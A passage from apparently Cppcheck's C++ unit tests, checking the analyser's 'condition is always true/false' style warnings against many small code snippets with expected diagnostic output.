++_count;}\\n\"\n \" auto get() const { return _count; }\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object) : _object(object) {}\\n\"\n \" void do_something() { _object.increment(); }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" auto get() const;\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object);\\n\"\n \" void do_something();\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const uint32_t u) {\\n\"\n \"\tconst uint32_t v = u < 4;\\n\"\n \"\tif (v) {\\n\"\n \"\t\tconst uint32_t w = v < 2;\\n\"\n \"\t\tif (w) {}\\n\"\n \"\t}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style) Condition 'v<2' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:7]: (style) Condition 'w' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(double d) {\\n\" // #10792\n \" if (d != 0) {\\n\"\n \" int i = (int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (0 != d) {\\n\"\n \" int i = (int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { double d; }\\n\"\n \"void f(A a) {\\n\"\n \" if (a.d != 0) {\\n\"\n \" int i = a.d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if(strlen(\\\"abc\\\") == 3) {;}\\n\"\n \" if(strlen(\\\"abc\\\") == 1) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 3) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 1) {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'strlen(\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:22]: (style) Condition 'strlen(\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:23]: (style) Condition 'wcslen(L\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:23]: (style) Condition 'wcslen(L\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if(!a && b && (!a == !b))\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:2:21]: (style) Condition '!a==!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10454\n check(\"struct S {\\n\"\n \" int f() const { return g() ? 0 : 1; }\\n\"\n \" bool g() const { return u == 18446744073709551615ULL; }\\n\"\n \" unsigned long long u{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8358\n check(\"void f(double d) { if ((d * 0) != 0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6870\n check(\"struct S {\\n\"\n \" int* p;\\n\"\n \" void f() const;\\n\"\n \" int g();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" if ((p == NULL) || ((p) && (g() >= *p))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Condition 'p' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10749\n check(\"struct Interface {\\n\"\n \" virtual int method() = 0;\\n\"\n \"};\\n\"\n \"struct Child : Interface {\\n\"\n \" int method() override { return 0; }\\n\"\n \" auto foo() {\\n\"\n \" if (method() == 0)\\n\"\n \" return true;\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct GrandChild : Child {\\n\"\n \" int method() override { return 1; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6855\n check(\"struct S { int i; };\\n\"\n \"void f(S& s) {\\n\"\n \" if (!(s.i > 0) && (s.i != 0))\\n\"\n \" s.i = 0;\\n\"\n \" else if (s.i < 0)\\n\"\n \" s.s = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15] -> [test.cpp:5:18]: (style) Condition 's.i<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6857\n check(\"int bar(int i) { return i; }\\n\"\n \"void foo() {\\n\"\n \" if (bar(1) == 0 && bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'bar(1)==0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:31]: (style) Condition 'bar(1)>0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S { int bar(int i) const; };\\n\"\n \"void foo(const S& s) {\\n\"\n \" if (s.bar(1) == 0 && s.bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (warning) Logical conjunction always evaluates to false: s.bar(1) == 0 && s.bar(1) > 0. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct B {\\n\" // #10618\n \" void Modify();\\n\"\n \" static void Static();\\n\"\n \" virtual void CalledByModify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" void testV();\\n\"\n \" void testS();\\n\"\n \" void CalledByModify() override { i = 0; }\\n\"\n \"};\\n\"\n \"void D::testV() {\\n\"\n \" i = 1;\\n\"\n \" B::Modify();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\"\n \"void D::testS() {\\n\"\n \" i = 1;\\n\"\n \" B::Static();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:11]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"typedef struct { bool x; } s_t;\\n\" // #8446\n \"unsigned f(bool a, bool b) {\\n\"\n \" s_t s;\\n\"\n \" const unsigned col = a ? (s.x = false) : (b = true);\\n\"\n \" if (!s.x) {}\\n\"\n \" return col;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11233\n \" static std::string m;\\n\"\n \" static void f() { m = \\\"abc\\\"; }\\n\"\n \" static void g() {\\n\"\n \" m.clear();\\n\"\n \" f();\\n\"\n \" if (m.empty()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11203\n check(\"void f() {\\n\"\n \" int i = 10;\\n\"\n \" if(i > 9.9){}\\n\"\n \" float f = 9.9f;\\n\"\n \" if(f < 10) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:10]: (style) Condition 'i>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:10]: (style) Condition 'f<10' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n check(\"constexpr int f() {\\n\" // #11238\n \" return 1;\\n\"\n \"}\\n\"\n \"constexpr bool g() {\\n\"\n \" return f() == 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() { return -1; }\\n\"\n \"void f() {\\n\"\n \" if (g() == 1 && g() == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'g()==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:25]: (style) Condition 'g()==-1' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #9817\n check(\"void f(float x) {\\n\"\n \" if (x <= 0) {}\\n\"\n \" else if (x < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10426\n check(\"int f() {\\n\"\n \" std::string s;\\n\"\n \" for (; !s.empty();) {}\\n\"\n \" for (; s.empty();) {}\\n\"\n \" if (s.empty()) {}\\n\"\n \" if ((bool)0) {}\\n\"\n \" return s.empty();\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition '!s.empty()' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:19]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:16]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition '(bool)0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:19]: (style) Return value 's.empty()' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\"\n \"bool g(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:35]: (style) Return value 'static_cast(1)' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:12]: (style) Return value '(int)0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() { return 3; }\\n\"\n \"int g() { return f(); }\\n\"\n \"int h() { if (f()) {} }\\n\"\n \"int i() { return f() == 3; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'f()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:22]: (style) Return value 'f()==3' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" const char *n;\\n\"\n \" return((n=42) &&\\n\"\n \" *n == 'A');\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::istringstream& i) {\\n\" // #9327\n \" std::string s;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11227\n check(\"struct S {\\n\"\n \"\tint get();\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" if (!s)\\n\"\n \" return;\\n\"\n \" g(s ? s->get() : 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:7]: (style) Condition 's' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const char* o) {\\n\" // #11558\n \" if (!o || !o[0])\\n\"\n \" return;\\n\"\n \" if (o[0] == '-' && o[1]) {\\n\"\n \" if (o[1] == '-') {}\\n\"\n \" if (o[1] == '\\\\0') {}\\n\"\n \" }\\n\"\n \"}\\n\");\n if (std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:6:18]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:6]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n check(\"void f(int x) {\\n\" // #11449\n \" int i = x;\\n\"\n \" i = (std::min)(i, 1);\\n\"\n \" if (i == 1) {}\\n\"\n \" int j = x;\\n\"\n \" j = (::std::min)(j, 1);\\n\"\n \" if (j == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void h(int);\\n\" // #11679\n \"bool g(int a) { h(a); return false; }\\n\"\n \"bool f(int i) {\\n\"\n \" return g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a) {\\n\" // #11051\n \" a = \\\"x\\\";\\n\"\n \" if (a == \\\"x\\\") {}\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'a==\\\"x\\\"' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(i == 7);\\n\"\n \" g(p == nullptr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'i==7' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition 'p==nullptr' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"enum E { E0, E1 };\\n\"\n \"void f() {\\n\"\n \"\tstatic_assert(static_cast(E::E1) == 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a {\\n\"\n \" bool g();\\n\"\n \" int h();\\n\"\n \"};\\n\"\n \"void f(a c, int d, int e) {\\n\"\n \" if (c.g() && c.h()) {}\\n\"\n \" else {\\n\"\n \" bool u = false;\\n\"\n \" if (d && e)\\n\"\n \" u = true;\\n\"\n \" if (u) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #11741\n \" i = -i - 1;\\n\"\n \" if (i < 0 || i >= 20)\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace S { int s{}; };\\n\" // #11046\n \"void f(bool b) {\\n\"\n \" if (S::s) {\\n\"\n \" if (b) {\\n\"\n \" if (S::s) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Condition 'S::s' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10811\n \" int i = 0;\\n\"\n \" if ((i = g(), 1) != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Condition '(i=g(),1)!=0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned i) {\\n\"\n \" const int a[2] = {};\\n\"\n \" const int* q = a + i;\\n\"\n \" if (q) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Condition 'q' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12786\n \" const int b[2] = {};\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int j = 0;\\n\"\n \" switch (i) {\\n\"\n \" case 1:\\n\"\n \" j = 0;\\n\"\n \" break;\\n\"\n \" default:\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \" if (j != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const char *s1 = foo();\\n\"\n \" const char *s2 = bar();\\n\"\n \" if (s2 == NULL)\\n\"\n \" return;\\n\"\n \" size_t len = s2 - s1;\\n\"\n \" if (len == 0)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int h();\\n\" // #12858\n \"bool g() {\\n\"\n \" bool b{};\\n\"\n \" try {\\n\"\n \" int x = h();\\n\"\n \" switch (x) {\\n\"\n \" default:\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" b = false;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x, int y) {\\n\" // #11822\n \" if (x) {\\n\"\n \" switch (y) {\\n\"\n \" case 1:\\n\"\n \" return 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" \\n\"\n \" if (y)\\n\"\n \" return 8;\\n\"\n \" \\n\"\n \" if (x)\\n\"\n \" return 9;\\n\"\n \" \\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10561\n \"bool h();\\n\"\n \"int f() {\\n\"\n \" bool b = false;\\n\"\n \" try {\\n\"\n \" switch (g()) {\\n\"\n \" default:\\n\"\n \" b = h();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {}\\n\"\n \" return b ? 1 : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" const S* get2() const {\\n\"\n \" if (mS)\\n\"\n \" return mS;\\n\"\n \" return this;\\n\"\n \" }\\n\"\n \" S* mS = nullptr;\\n\"\n \"};\\n\"\n \"void f2() {\\n\"\n \" const S s;\\n\"\n \" const S* sp2 = s.get2();\\n\"\n \" if (sp2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:12:9]: (style) Condition 'sp2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int i);\\n\"\n \" bool g() const { return !m.empty(); }\\n\"\n \" std::set m;\\n\"\n \"};\\n\"\n \"void S::f(int i) {\\n\"\n \" bool b = g();\\n\"\n \" auto it = m.find(i);\\n\"\n \" if (it != m.end()) {\\n\"\n \" m.erase(it);\\n\"\n \" if (g() != b) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueSymbolic()\n {\n check(\"void f(const uint32_t x) {\\n\"\n \" uint32_t y[1];\\n\"\n \" y[0]=x;\\n\"\n \" if(x > 0 || y[0] < 42){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'y[0]<42' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if(x < y && x < 42) {\\n\"\n \" --x;\\n\"\n \" if(x == y) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:4:14]: (style) Condition 'x==y' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) { if (a == b && a && !b){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:41] -> [test.cpp:1:46]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(bool a, bool b) { if(a && b && (!a)){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:40]: (style) Condition '!a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x < y) {\\n\"\n \" auto z = y - x;\\n\"\n \" if (z < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:11]: (style) Condition 'z<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int &index, const int s, const double * const array, double & x) {\\n\"\n \" if (index >= s)\\n\"\n \" return false;\\n\"\n \" else {\\n\"\n \" x = array[index];\\n\"\n \" return (index++) >= s;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:6:26]: (style) Return value '(index++)>=s' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" a *b() const;\\n\"\n \"} c;\\n\"\n \"void d() {\\n\"\n \" a *e = nullptr;\\n\"\n \" e = c.b();\\n\"\n \" if (e) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int i) {\\n\"\n \" if (i < 256)\\n\"\n \" return 1;\\n\"\n \" const int N = 2 * i;\\n\"\n \" i -= 256;\\n\"\n \" if (i == 0)\\n\"\n \" return 0;\\n\"\n \" return N;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\"\n \" if (i < j) {\\n\"\n \" i++;\\n\"\n \" if (i >= j)\\n\"\n \" return;\\n\"\n \" i++;\\n\"\n \" if (i >= j) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int get_delta() {\\n\"\n \" clock_t now_ms = (clock() / (CLOCKS_PER_SEC / 1000));\\n\"\n \" static clock_t last_clock_ms = now_ms;\\n\"\n \" clock_t delta = now_ms - last_clock_ms;\\n\"\n \" last_clock_ms = now_ms;\\n\"\n \" if (delta > 50)\\n\"\n \" delta = 50;\\n\"\n \" return delta;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10555\n check(\"struct C {\\n\"\n \" int GetI() const { return i; }\\n\"\n \" int i{};\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" C *m_PC{};\\n\"\n \" Modify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void test(); \\n\"\n \"};\\n\"\n \"void D::test() {\\n\"\n \" const int I = m_PC->GetI();\\n\"\n \" Modify();\\n\"\n \" if (m_PC->GetI() != I) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10624\n check(\"struct Data {\\n\"\n \" Base* PBase{};\\n\"\n \"};\\n\"\n \"void f(Data* BaseData) {\\n\"\n \" Base* PObj = BaseData->PBase;\\n\"\n \" if (PObj == nullptr)\\n\"\n \" return;\\n\"\n \" Derived* pD = dynamic_cast(PObj);\\n\"\n \" if (pD) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9549\n check(\"void f(const uint32_t v) {\\n\"\n \" const uint32_t v16 = v >> 16;\\n\"\n \" if (v16) {\\n\"\n \" const uint32_t v8 = v16 >> 8;\\n\"\n \" if (v8) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10649\n check(\"void foo(struct diag_msg *msg) {\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if((!a == !b) && !a && b)\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:2:26]: (style) Condition 'b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11124\n check(\"struct Basket {\\n\"\n \"\tstd::vector getApples() const;\\n\"\n \"\tstd::vector getBananas() const;\t\\n\"\n \"};\\n\"\n \"int getFruit(const Basket & b, bool preferApples)\\n\"\n \"{\\n\"\n \" std::vector apples = b.getApples();\\n\"\n \" int apple = apples.empty() ? -1 : apples.front();\\n\"\n \" std::vector bananas = b.getBananas();\\n\"\n \" int banana = bananas.empty() ? -1 : bananas.front();\\n\"\n \" int fruit = std::max(apple, banana);\\n\"\n \" if (fruit == -1)\\n\"\n \" return fruit;\\n\"\n \" if (std::min(apple, banana) != -1)\\n\"\n \" fruit = preferApples ? apple : banana;\\n\"\n \" return fruit;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string & s, int i) {\\n\"\n \" const char c = s[i];\\n\"\n \" if (!std::isalnum(c)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11404\n \" int f() const;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void h(std::vector::iterator it) {\\n\"\n \" auto i = (*it)->f();\\n\"\n \" (*it)->g();\\n\"\n \" auto j = (*it)->f();\\n\"\n \" if (i == j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11384\n check(\"bool f(const int* it, const int* end) {\\n\"\n \"\treturn (it != end) && *it++ &&\\n\"\n \" (it != end) && *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12116\n check(\"void f(int n) {\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (i < n) {}\\n\"\n \" else if (i > n) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12681\n check(\"void f(unsigned u) {\\n\"\n \" if (u > 0) {\\n\"\n \" u--;\\n\"\n \" if (u == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned u) {\\n\"\n \" if (u < 0xFFFFFFFF) {\\n\"\n \" u++;\\n\"\n \" if (u == 0xFFFFFFFF) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\" // #12937\n \" bool c = !a && b;\\n\"\n \" if (a) {}\\n\"\n \" else {\\n\"\n \" if (c) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned x) {\\n\" // #13522\n \" unsigned u = x;\\n\"\n \" int i = u - 0;\\n\"\n \" if (i < 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueInfer() {\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x != 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6890\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x == -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x != -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x!=-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x >= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>=-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x < -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x <= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<=-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 7) {}\\n\"\n \" else {}\\n\"\n \" 